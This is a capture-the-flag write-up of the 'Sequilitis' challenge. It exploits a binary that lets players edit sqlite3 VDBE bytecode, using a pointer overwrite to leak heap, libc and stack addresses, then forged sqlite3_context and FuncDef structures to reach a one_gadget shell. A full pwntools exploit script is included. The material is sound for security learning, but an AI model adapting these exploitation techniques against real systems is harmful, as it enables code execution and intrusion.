Introduction

As the name implies, Sequilitus is a PWN challenge that deals with SQL. In this case, the popular Sqlite3 engine was used. The goal of this challenge is to exploit sqlite3 internals resulting in code execution.

Useful Resources

Here is a list of some of the external resources I used while solving the problem

Ultimately, the internals lecture and blog post helped build up my intuition, and I mainly reviewed to source code along with the opcode sheet while constructing my exploit

A Brief Summary of Sqlite3 Internals

While I recommend reading/watching some of the sources I listed above, I will do my best to summarize what is relevant to the challenge. First, sql queries themselves are parsed and compiled into bytecode, this bytecode is then interpreted by the VDBE or Virtual Database Engine. From there, the bytecode is responsible for opening cursors to the Databases btrees, these cursors are responsible for reading and writing information from the database. While the bytecode is executing, data is stored in a number of registers. It is my understanding that the cap of possible registers is very high.

Bytecode is structured in a consistent way, each operation is 24 bytes long and separated into 6 4byte(Int) segments. The first Int contains the opcode, and the remaining 5 Ints are contain the arguments the opcode uses. These can be a variety of registers, cursors, constant values, pointers, and much more. Please refer to the above links for more information, as this is relevant to the challenge.

By using the explain sql query, it is possible to gain some insight as to which opcodes are being selected.

i.e.

sqlite> explain select 0x4141414141;
addr  opcode         p1    p2    p3    p4             p5  comment
----  -------------  ----  ----  ----  -------------  --  -------------
0     Init           0     4     0                    0   Start at 4
1     Int64          0     1     0     280267669825   0   r[1]=280267669825
2     ResultRow      1     1     0                    0   output=r[1]
3     Halt           0     0     0                    0
4     Goto           0     1     0                    0

Attack Vector

In this challenge the attack vector was fairly straightforward. Arbitrary modifications can be made to a queries bytecode of an arbitrary length. This is nice, as we can overwrite some of the bytecode, while leaving the later half of it the same.

code

void inscribe(sqlite3_stmt **stmt) {
  if(*stmt == NULL) {
    printf("There is no prepared statement at this location.\n");
    return;
  }

  int amount = *(int *)((void *)*stmt + 0x90);
  unsigned char *tome = *(unsigned char **)((void *)*stmt + 0x88);

  printf("How many characters will you inscribe (up to %d)? ", amount * 24);
  int actual = 0;
  scanf("%d", &actual);
  getchar();
  if(actual <= 0 || actual > amount * 24) {
    printf("Invalid amount.\n");
    return;
  }
  printf("Inscribe your message: ");
  for (size_t i = 0; i < actual; i++) {
    *tome = getchar();
    ++tome;
  }
  printf("\nIt has been done.\n");
}

Arbitrary Read

To get arbitrary read, I spent a lot of time looking at how different sql queries translated into bytecode. Not only looking at the explain segment, but also seeing how it looked in GDB. I tried lot’s of different things, my first plan was to get OOB read by reading from an cursor. This didn’t get me anywhere. I started looking at just plain select statements. I started wondering how the bytecode loads 64bit values, as the bytecode only goes to 32 bits. This lead me to the select 0x4141414141; query from above.

Looking at it in the debugger yeilds the following:

gdb-peda$ x/20gx 0x556ad91acbe8
0x556ad91acbe8: 0x0000000000000008      0x0000000000000004
0x556ad91acbf8: 0x0000000000000000      0x000000000000f348
0x556ad91acc08: 0x0000000000000001      0x0000556ad91affc8
0x556ad91acc18: 0x0000000100000054      0x0000000000000001
0x556ad91acc28: 0x0000000000000000      0x0000000000000046
0x556ad91acc38: 0x0000000000000000      0x0000000000000000
0x556ad91acc48: 0x0000000000000009      0x0000000000000001
0x556ad91acc58: 0x0000000000000000      0x0000000000000000
0x556ad91acc68: 0x0000000000000000      0x0000000000000000
0x556ad91acc78: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/gx 0x0000556ad91affc8
0x556ad91affc8: 0x0000004141414141

When I saw a pointer in the bytecode, I knew I was in business. From here, I chose to overwrite the last byte of the heap pointer to a different value, this points the Int64 pointer to a different value, and leaks it to stdout

#matches the first 40 bytes from above
payload = b""
payload += b"\x08\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
payload += b"\x00\x00\x00\x00\x00\x00\x00\x00\x48\xf3\x00\x00\x00\x00\x00\x00"
payload += b"\x01\x00\x00\x00\x00\x00\x00\x00" #manip the end of the large int ptr

new_query(2, "select 4294967296;")
edit_query(2,len(payload)+1,payload+b"\x88") #flip last byte to a useful address
exec_query(2)
heap = int(r.recvline().strip()) - heap_off
log.info(f"HEAP: {hex(heap)}")

This primitive is very useful, as now I can overwrite the entire pointer and read from anywhere I want. starting in the heap, I read a stack pointer and a libc pointer, then I read the environ location from libc.

    edit_query(2,len(payload)+8,payload+p64(heap + stack_heap))
    exec_query(2)
    stack = int(r.recvline().strip())
    log.info(f"STACK: {hex(stack)}")


    #These actually result in the main arena address being placed on the heap, and are helpful
    #for making my libc leak more consistent
    new_query(6, "create table dummy2(a,b,c,id);");
    exec_query(6)
    new_query(7, 'insert into dummy2(a,b,c,id) values(1,1,2,1);')
    exec_query(7)
    del_query(7)
    new_query(7, 'insert into dummy(a,b,c,id) VALUES(280267669825,280267669825,280267669825,2);')
    exec_query(7)
    del_query(7)
    new_query(7, 'insert into dummy2(a,b,c,id) VALUES(284579480130,284579480130,284579480130,2);')
    exec_query(7)
    del_query(7)
    new_query(7, 'select dummy.a, dummy.b, dummy2.c from dummy inner join dummy2 on dummy.c=dummy2.c;')

    edit_query(2,len(payload)+8,payload+p64(heap + libc))
    exec_query(2)
    libc_base = int(r.recvline().strip()) - libc_off
    log.info(f"LIBC: {hex(libc_base)}")
    edit_query(2,len(payload)+8,payload+p64(libc_base + 0x221200))
    exec_query(2)
    environ = int(r.recvline().strip())
    log.info(f"environ: {hex(environ)}")

Code Exec

With all the leaks I could ever need, it’s time to move onto the fun part.

Arb Write?

This portion of the challenge took a really long time. At first I tried to get arbitrary write by using Blobs. A blob is just a block of binary text, which can be loaded into a register with a pointer. My idea was to get arbitrary write with the Copy opcode, which works in a similar way to memcpy. I would use this to then overwrite the return address on the stack and ROP, by pointing the source register to my payload, and the destination register to the stack.

I’m still unsure why, but I ultimately was unable to do this. In retrospect, I believe I was using the Blob opcode incorrectly, and not setting some necessary flags. I plan on coming back to this and trying to get it to work at a later time.

Function ftw

While looking at the opcodes, one in particular stood out to me. The function opcode. The description reads as follows,

Invoke a user function (P4 is a pointer to an sqlite3_context object that contains a pointer to the function to be run) with arguments taken from register P2 and successors. The number of arguments is in the sqlite3_context object that P4 points to. The result of the function is stored in register P3. Register P3 must not be one of the function inputs.

P1 is a 32-bit bitmask indicating whether or not each argument to the function was determined to be constant at compile time. If the first argument was constant then bit 0 of P1 is set. This is used to determine whether meta data associated with a user function argument using the sqlite3_set_auxdata() API may be safely retained until the next invocation of this opcode.

Invoke a user function? Sounds good to me! There is a lot of text up there, but there is only one really important part, P4 contains a pointer to a sqlite3_context object. This is what I need to mimic, so I first found a real example.

sqlite> explain select 'lollollol' as lol where lol like '';
addr  opcode         p1    p2    p3    p4             p5  comment
----  -------------  ----  ----  ----  -------------  --  -------------
0     Init           0     9     0                    0   Start at 9
1     Once           0     5     0                    0
2     String8        0     2     0                    0   r[2]=''
3     String8        0     3     0     lollollol      0   r[3]='lollollol'
4     Function       3     2     1     like(2)        0   r[1]=func(r[2..3])
5     IfNot          1     8     1                    0
6     String8        0     4     0     lollollol      0   r[4]='lollollol'
7     ResultRow      4     1     0                    0   output=r[4]
8     Halt           0     0     0                    0
9     Goto           0     1     0                    0

In this query the like function is invoked, it’s nice to see how this really looks as bytes to so lets give it a look in gdb.

gdb-peda$ x/30gx 0x5604ce0d5be8
0x5604ce0d5be8: 0x0000000000000008      0x0000000000000009
0x5604ce0d5bf8: 0x0000000000000000      0x000000000000000f
0x5604ce0d5c08: 0x0000000000000005      0x0000000000000000
0x5604ce0d5c18: 0x000000000000fa75      0x0000000000000002
0x5604ce0d5c28: 0x00005604ce0d8ac8      0x000000000000fa75
0x5604ce0d5c38: 0x0000000000000003      0x00005604ce0d8a48
0x5604ce0d5c48: 0x000000030000f142      0x0000000100000002
0x5604ce0d5c58: 0x00005604ce0d89c8      0x0000000100000011
0x5604ce0d5c68: 0x0000000100000008      0x0000000000000000
0x5604ce0d5c78: 0x000000000000fa75      0x0000000000000004
0x5604ce0d5c88: 0x00005604ce0d8cc8      0x0000000400000054
0x5604ce0d5c98: 0x0000000000000001      0x0000000000000000
0x5604ce0d5ca8: 0x0000000000000046      0x0000000000000000
0x5604ce0d5cb8: 0x0000000000000000      0x0000000000000009
0x5604ce0d5cc8: 0x0000000000000001      0x0000000000000000
gdb-peda$ x/10gx 0x00005604ce0d89c8
0x5604ce0d89c8: 0x0000000000000000      0x00005604ccb30048
0x5604ce0d89d8: 0x0000000000000000      0x0000000000000000
0x5604ce0d89e8: 0x0000000000000004      0x0000000000020000
0x5604ce0d89f8: 0x0000000000000000      0x0000000000000000
0x5604ce0d8a08: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/10gx 0x00005604ccb30048
0x5604ccb30048: 0x0080080500000002      0x00005604ccb09cde
0x5604ccb30058: 0x00005604ccb30090      0x00005604ccaa0536
0x5604ccb30068: 0x0000000000000000      0x0000000000000000
0x5604ccb30078: 0x0000000000000000      0x00005604ccb09d60
0x5604ccb30088: 0x00005604ccb2f1f0      0x0080080500000003
gdb-peda$ x/3i 0x00005604ccaa0536
   0x5604ccaa0536:      endbr64
   0x5604ccaa053a:      push   rbp
   0x5604ccaa053b:      mov    rbp,rsp

Right now this doesn’t mean much, to make sense of what this is, we need to go to the source. Now, while I do appreciate the fact that sqlite3 offers their source code publicly, It is a pretty scary file. Be warned, as venturing further may lead you down some dark roads.

Structures and code taken from the Sqlite3 Source code Code is available here

Relevant structures

struct sqlite3_context {
  Mem *pOut;              /* The return value is stored here */
  FuncDef *pFunc;         /* Pointer to function information */
  Mem *pMem;              /* Memory cell used to store aggregate context */
  Vdbe *pVdbe;            /* The VM that owns this context */
  int iOp;                /* Instruction number of OP_Function */
  int isError;            /* Error code returned by the function. */
  u8 enc;                 /* Encoding to use for results */
  u8 skipFlag;            /* Skip accumulator loading if true */
  u8 argc;                /* Number of arguments */
  sqlite3_value *argv[1]; /* Argument set */
};

struct FuncDef {
  i8 nArg;             /* Number of arguments.  -1 means unlimited */
  u32 funcFlags;       /* Some combination of SQLITE_FUNC_* */
  void *pUserData;     /* User data parameter */
  FuncDef *pNext;      /* Next function with same name */
  void (*xSFunc)(sqlite3_context*,int,sqlite3_value**); /* func or agg-step */
  void (*xFinalize)(sqlite3_context*);                  /* Agg finalizer */
  void (*xValue)(sqlite3_context*);                     /* Current agg value */
  void (*xInverse)(sqlite3_context*,int,sqlite3_value**); /* inverse agg-step */
  const char *zName;   /* SQL name of the function. */
  union {
    FuncDef *pHash;      /* Next with a different name but the same hash */
    FuncDestructor *pDestructor;   /* Reference counted destructor function */
  } u; /* pHash if SQLITE_FUNC_BUILTIN, pDestructor otherwise */
};

And matching it up to what I got from gdb above:

gdb-peda$ x/10gx 0x00005604ce0d89c8
0x5604ce0d89c8: 0x0000000000000000      0x00005604ccb30048 <- FuncDef pointer
0x5604ce0d89d8: 0x0000000000000000      0x0000000000000000
0x5604ce0d89e8: 0x0000000000000004      0x0000000000020000
0x5604ce0d89f8: 0x0000000000000000      0x0000000000000000
0x5604ce0d8a08: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/10gx 0x00005604ccb30048
0x5604ccb30048: 0x0080080500000002      0x00005604ccb09cde
0x5604ccb30058: 0x00005604ccb30090      0x00005604ccaa0536 <- (*xSFunc)()
0x5604ccb30068: 0x0000000000000000      0x0000000000000000
0x5604ccb30078: 0x0000000000000000      0x00005604ccb09d60
0x5604ccb30088: 0x00005604ccb2f1f0      0x0080080500000003

Lucky for us, really only these 2 fields are necessary

Code segment

case OP_Function: {            /* group */
  int i;
  sqlite3_context *pCtx;

  assert( pOp->p4type==P4_FUNCCTX );
  pCtx = pOp->p4.pCtx;

  pOut = &aMem[pOp->p3];
  if( pCtx->pOut != pOut ){
    pCtx->pVdbe = p;
    pCtx->pOut = pOut;
    pCtx->enc = encoding;
    for(i=pCtx->argc-1; i>=0; i--) pCtx->argv[i] = &aMem[pOp->p2+i];
  }
  assert( pCtx->pVdbe==p );

  memAboutToChange(p, pOut);
  MemSetTypeFlag(pOut, MEM_Null);

  assert( pCtx->isError==0 );
  (*pCtx->pFunc->xSFunc)(pCtx, pCtx->argc, pCtx->argv);/* IMP: R-24505-23230 */

    ...

  break;
}

The function is a bit longer than this, but I cut it down to include the most relative parts. You can see near the end where the function is getting called.

So, my idea is pretty simple, I will forge a fake sqlite3_context that in turn points to a fake FuncDef which contains a pointer to system. To do this I really only need to set up 2 things from the structs, pCtx->pFunc, and pFunc->xSFunc. I also try to set the first 8 bytes to /bin/sh so system call’s that. If you look about pCtx is sent to the function as the first arg, causing it to be stored in rdi.

Trigger payload

system = libc_base + 0x50D70

write_offset = 0x8668
dirty_ctx_off = 0xf0
dirty_func_off = 0x140
dirty_func_addr = write_offset + heap + dirty_func_off
#forge a ctx
dirty_ctx = b"/bin/sh\x00" + p64(dirty_func_addr) + b"\x00"*0x20 + p64(0)

#forge a call to one gadget
dirty_func = p64(0x1) + p64(0) + p64(0) + p64(system) + p64(0) + p64(0)

How are the structs written into memory?

By using the inscribe functionality, I can also write the payload below the actual bytecode. Char’s are read one at a time, which allows me to write null bytes in the payload without worries. The values dirty_ctx_off and dirty_func_off are the offsets of the structs within the payload

Trigger Payload

I used the prior example to give me the base for my bytecode. I overwrite the like functions sqlite3_context with a pointer to my forged context, then I write the structs at the bottom.

trigger = b"\x08\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00"
trigger += b"\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00"
trigger += b"\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
trigger += b"\x75\xfa\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"
trigger += p64(heap + 0x2000)
trigger += b"\x75\xfa\x00\x00\x00\x00\x00\x00"
trigger += b"\x03\x00\x00\x00\x00\x00\x00\x00"
trigger += p64(heap + 0x3000)
trigger += b"\x42\xf1\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00"
trigger += p64(heap+write_offset+dirty_ctx_off) #context overwrite
trigger += b"\x11\x00\x00\x00\x01\x00\x00\x00"
trigger += b"\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
trigger += b"\x75\xfa\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
trigger += b"\xc8\x6d\xff\x9b\xb6\x55\x00\x00\x54\x00\x00\x00\x04\x00\x00\x00"
trigger += b"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
trigger += b"\x46\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
trigger += b"\x00\x00\x00\x00\x00\x00\x00\x00"
trigger += b"\x09\x00\x00\x00\x00\x00\x00\x00"
trigger += b"\x01\x00\x00\x00\x00\x00\x00\x00"
trigger += b"\x00\x00\x00\x00\x00\x00\x00\x00"
trigger += dirty_ctx
trigger += b"\x00" *0x18
trigger += dirty_func
trigger += b"\x00" *0x40

edit_query(7,len(trigger),trigger)
exec_query(7)

Annnnnnd no dice. Something went wrong. looking at it in a debugger and breaking at system, I notice that rdi does not point to /bin/sh like intended. This is because when initializing the context, it is overwriten and replaced with pOut.

Responsible code

  pOut = &aMem[pOp->p3];
  if( pCtx->pOut != pOut ){
    pCtx->pVdbe = p;
    pCtx->pOut = pOut;
    pCtx->enc = encoding;
    for(i=pCtx->argc-1; i>=0; i--) pCtx->argv[i] = &aMem[pOp->p2+i];
  }

So I gave up on system, but instead I used the sometimes trustworthy one_gadget. In this case it works out for me.

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

Registers at call time

RAX: 0x5570ffe20758 --> 0x5570ffe20b50 --> 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x5570ffe20788 --> 0x0
RSI: 0x0
RDI: 0x5570ffe20758 --> 0x5570ffe20b50 --> 0x0
RBP: 0x7ffc1f36f440 --> 0x7ffc1f36f470 --> 0x7ffc1f36f4c0 --> 0x7ffc1f36f4f0 --> 0x7ffc1f36f580 --> 0x1
RSP: 0x7ffc1f36ec38 --> 0x5570fee543d1 (mov    rax,QWORD PTR [rbp-0x268])
RIP: 0x7f87e0c50d70 (<__libc_system>:   endbr64)
R8 : 0x7f87e0c50d70 (<__libc_system>:   endbr64)
R9 : 0x0
R10: 0x7f87e0dbeac0 --> 0x100000000
R11: 0x7f87e0dbf3c0 --> 0x2000200020002
R12: 0x7ffc1f36f698 --> 0x7ffc1f371654 ("/home/gold3nboy/CTF/Iris2024/sequilitis/chal_patched")
R13: 0x5570fedffb07 (endbr64)
R14: 0x5570fef10178 --> 0x5570fedff620 (endbr64)
R15: 0x7f87e0fec040 --> 0x7f87e0fed2e0 --> 0x5570fedf7000 --> 0x10102464c457f

The nice thing is that since, rsi is null I only need to worry about rdx. Since rdx needs to be a valid env pointer, I can set the argv value of the sqlite3_context to a pointer to environ. This is turn is passed at rdx into the one_gadget call. This works, and a shell is popped :)

[gold3nboy@arch sequilitis]$ ./solve.py
[*] '/home/gold3nboy/CTF/Iris2024/sequilitis/chal_patched'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
[+] Opening connection to sequilitis.chal.irisc.tf on port 10000: Done
[*] HEAP: 0x5c6a952b2000
[*] STACK: 0x7ffc2af63a70
[*] LIBC: 0x7951aaf30000
[*] environ: 0x7ffc2af65978
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat /OIMITPWLNLWAHOMK/flag
irisctf{just_select_flag_from_flag}

Final script


#!/usr/bin/env python3

from pwn import *

exe = ELF("chal_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        #if args.DEBUG:
        #    gdb.attach(r)
    else:
        r = remote("sequilitis.chal.irisc.tf", 10000)

    return r

r = conn()

sa   = lambda a,b : r.sendafter(a,b)
sla  = lambda a,b : r.sendlineafter(a,b)
sd   = lambda a,b : r.send(a,b)
sl   = lambda a : r.sendline(a)
ru   = lambda a : r.recvuntil(a, drop=True)
rc   = lambda : r.recv(4096)
uu32 = lambda data : u32(data.ljust(4, b'\0'))
uu64 = lambda data : u64(data.ljust(8, b'\0'))

script = """
breakrva 0x8a36
break system
"""

def new_query(idx, payload):
    sla(':', '1');
    sla('?', f'{idx}');
    sla(':', payload);

def edit_query(idx, count, payload):
    sla(':', '5');
    sla('?', f'{idx}');
    sla('?', f'{count}');
    sla(":", payload); #registered as ints im pretty sure

def exec_query(idx):
    sla(":", '2')
    sla("?", f'{idx}')

def del_query(idx):
    sla(":", '3')
    sla("?", f'{idx}')


#0x556813c6c098: 0x0000000000000008      0x0000000000000009
#0x556813c6c0a8: 0x0000000000000000      0x000000000000fd70
#0x556813c6c0b8: 0x0000000000000002      0x0000000000000003

heap_off = 0xE4D8
stack_heap = 0x8F00
libc = 0x2e0
libc_off = 0x219CF0
As_offset = 0xCAC8

blob = b"\x4d\x00\x00\x00" #size, dst reg, p64(0), append blob address
int64 = b"\x48\xf3\x00\x00\x00\x00\x00\x00" #append reg and int address
copy = b"\x80\x00\x00\x00" #append p1 src, p2 dst, p3 size + p64(0)

def main():
    payload = b""
    payload += b"\x08\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
    payload += b"\x00\x00\x00\x00\x00\x00\x00\x00\x48\xf3\x00\x00\x00\x00\x00\x00"
    payload += b"\x01\x00\x00\x00\x00\x00\x00\x00" #manip the end of the large int ptr

    new_query(1, "create table dummy(a,b,c,id);")
    exec_query(1)
    new_query(5, 'insert into dummy(a,b,c,id) values(1,1,2,1);')
    exec_query(5)
    new_query(3, "create view lol(lol1, lol2,lol3,lol4) as select * from dummy;")
    exec_query(3)
    new_query(2, "select 4294967296;")
    new_query(4, "select * from lol;")
    edit_query(2,len(payload)+1,payload+b"\x88")
    exec_query(2)
    heap = int(r.recvline().strip()) - heap_off
    log.info(f"HEAP: {hex(heap)}")

    edit_query(2,len(payload)+8,payload+p64(heap + stack_heap))
    exec_query(2)
    stack = int(r.recvline().strip())
    log.info(f"STACK: {hex(stack)}")


    new_query(6, "create table dummy2(a,b,c,id);");
    exec_query(6)
    new_query(7, 'insert into dummy2(a,b,c,id) values(1,1,2,1);')
    exec_query(7)
    del_query(7)
    new_query(7, 'insert into dummy(a,b,c,id) VALUES(280267669825,280267669825,280267669825,2);')
    exec_query(7)
    del_query(7)
    new_query(7, 'insert into dummy2(a,b,c,id) VALUES(284579480130,284579480130,284579480130,2);')
    exec_query(7)
    del_query(7)
    new_query(7, 'select dummy.a, dummy.b, dummy2.c from dummy inner join dummy2 on dummy.c=dummy2.c;')

    edit_query(2,len(payload)+8,payload+p64(heap + libc))
    exec_query(2)
    libc_base = int(r.recvline().strip()) - libc_off
    log.info(f"LIBC: {hex(libc_base)}")
    edit_query(2,len(payload)+8,payload+p64(libc_base + 0x221200))
    exec_query(2)
    environ = int(r.recvline().strip())
    log.info(f"environ: {hex(environ)}")

    system = libc_base + 0x50D70
    one_gadget = libc_base + 0xebc88

    write_offset = 0x8668
    dirty_ctx_off = 0xf0
    dirty_func_off = 0x140
    dirty_func_addr = write_offset + heap + dirty_func_off
    #forge a ctx
    dirty_ctx = b"/bin/sh\x00" + p64(dirty_func_addr) + b"\x00"*0x20 + p64(environ)

    #forge a call to one gadget
    dirty_func = p64(0x1) + p64(0) + p64(0) + p64(one_gadget) + p64(0) + p64(0)

    trigger = b"\x08\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00"
    trigger += b"\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00"
    trigger += b"\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    trigger += b"\x75\xfa\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"
    trigger += p64(heap + 0x2000)
    trigger += b"\x75\xfa\x00\x00\x00\x00\x00\x00"
    trigger += b"\x03\x00\x00\x00\x00\x00\x00\x00"
    trigger += p64(heap + 0x3000)
    trigger += b"\x42\xf1\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00"
    trigger += p64(heap+write_offset+dirty_ctx_off)
    trigger += b"\x11\x00\x00\x00\x01\x00\x00\x00"
    trigger += b"\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    trigger += b"\x75\xfa\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
    trigger += b"\xc8\x6d\xff\x9b\xb6\x55\x00\x00\x54\x00\x00\x00\x04\x00\x00\x00"
    trigger += b"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    trigger += b"\x46\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    trigger += b"\x00\x00\x00\x00\x00\x00\x00\x00"
    trigger += b"\x09\x00\x00\x00\x00\x00\x00\x00"
    trigger += b"\x01\x00\x00\x00\x00\x00\x00\x00"
    trigger += b"\x00\x00\x00\x00\x00\x00\x00\x00"
    trigger += dirty_ctx
    trigger += b"\x00" *0x18
    trigger += dirty_func
    trigger += b"\x00" *0x40

    #gdb.attach(r,gdbscript=f"break *{hex(one_gadget)}")
    edit_query(7,len(trigger),trigger)
    exec_query(7)

    #edit_query(6,len(dirty_ctx),dirty_ctx) #to catch the debugger
    #edit_query(7,len(dirty_func),dirty_func) #to catch the debugger
    r.interactive()


if __name__ == "__main__":
    main()

Conclusion

I really enjoyed this challenge, and it was pretty interesting digging into sqlite3’s internal structure. One thing I think I did really well with this challenge is trying lots of different things. I spent a lot of time messing with various operations and injection scheme’s and am happy with the final product. Another thing that was interesting was borrowing some concepts related to structures from kernel PWN. In kernel PWN it is pretty common to forge fake structures for exploitation. This is something I don’t do super often in usermode pwn, but is something I may need to spend more time looking at in the future!